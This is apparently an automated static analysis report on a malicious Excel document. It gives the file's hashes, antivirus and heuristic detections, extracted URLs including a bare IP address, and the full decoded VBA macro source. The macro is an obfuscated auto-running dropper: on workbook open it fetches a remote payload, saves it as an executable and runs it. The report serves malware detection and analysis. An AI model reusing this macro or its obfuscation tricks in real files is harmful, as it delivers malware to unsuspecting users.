Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 70485cbc582fc68f…

MALICIOUS

Office (OLE)

157.5 KB Created: 2019-07-18 19:19:14 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: c711eecdbeed1a0a029bfcf8560fa12f SHA-1: f38eb91bf72749615c444013e1075e735b397535 SHA-256: 70485cbc582fc68f565f8e22681d30c0fa2cd1eb59b4eb1d2142020594389018
250 Risk Score

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-7074079-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-7074079-0
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set Class1.Success1 = CreateObject(Class1.Label2.Tag)
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
    Matched line in script
    CallByName Class5, "Show", VbMethod
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub WorkBook_open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://79.141.168.105/g2� In document text (OLE body)
    • http://t2.symcb.com0In document text (OLE body)
    • http://tl.symcd.com0&In document text (OLE body)
    • http://t1.symcb.com/ThawtePCA.crl0In document text (OLE body)
    • http://tl.symcb.com/tl.crl0In document text (OLE body)
    • https://www.thawte.com/cps0/In document text (OLE body)
    • https://www.thawte.com/repository0WIn document text (OLE body)
    • http://tl.symcb.com/tl.crt0In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas🔏 SignedVBA project digital signature
Covers VBA source only — not the compiled p-code. A digital signature does not by itself mean the macro is safe.
vba-macro oletools.olevba.extract_macros (decoded VBA source) 3144 bytes
SHA-256: af10bbad33b7d7b18b7331836b5c5826055ebcd33cec0ee9b0e010d95fea2906
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub WorkBook_open()
On Error Resume Next
CallByName Class5, "Show", VbMethod



End Sub





Attribute VB_Name = "CodeBlock"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Public Sub MethodENG()
Dim time
time = Format(Now + TimeSerial(0, 1, 1), "hh:mm")

ExecuteExcel4Macro "MESSAGE(False, ""Release"")"
#If STDIN Then

Dim RRvel0_5
Dim RRvel0_6
Dim RRvel0_7
Dim RRvel0_9
Dim RRvel0_8
Dim RRvel0_11
Dim RRvel0_12


#End If


Set Class1.Success1 = CreateObject(Class1.Label2.Tag)

Dim fUP:  fUP = 0
CallByName Class1, "Mistake1", VbSet, CreateObject(Class1.TextBox1.Caption)
Dim fDOWN:  fDOWN = 0
End Sub




Attribute VB_Name = "Modu"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Public Sub Attention()

CodeBlock.MethodENG


Dim RRvel0_4
Dim RRvel0_3
Class1.Label5_Click
Class1.Mistake1.Send

With Class1.Success1
    .Type = 1
End With
    Class1.Success1.Open
With Class1.Success1
    .write Class1.Mistake1.responseBody

End With
#If STDOUT Then
    CallByName Class1.Success1, "savet" & "ofile", VbMethod, "wrnglr.e" & "" + "xe", 2

#End If

ExecuteExcel4Macro Class1.T10_Text.Text
ExecuteExcel4Macro "MESSAGE(False, ""Studio Marv"")"
End Sub


Attribute VB_Name = "Class1"
Attribute VB_Base = "0{F7AC4968-62AC-4BD1-820B-D2F1770E59D4}{B5B5B634-BFB0-4B69-8F10-C5D26F205E24}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
 Public Success1 As Object
Public Mistake1 As Object
 Public Success2 As Object
Public Mistake2 As Object
 Public Success3 As Object
Public Mistake3 As Object



Public Sub Label5_Click()
Dim RRvel0_5
Mistake1.Open Me.Label3.Caption, Me.T10_Text.Tag, False
Dim RRvel0_6
End Sub

Public Sub S1000()

End Sub
Public Sub frfr4()

End Sub



Attribute VB_Name = "Class5"
Attribute VB_Base = "0{F6F2BF75-30AA-412F-AADD-7C810ACD00AB}{D37C3673-EE3C-45F4-85E9-18924CDE8BEF}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Sub FUnt()
Dim rd1 As New Modu
rd1.Attention

End Sub

Private Sub UserForm_Initialize()

FUnt
Unload Me
End Sub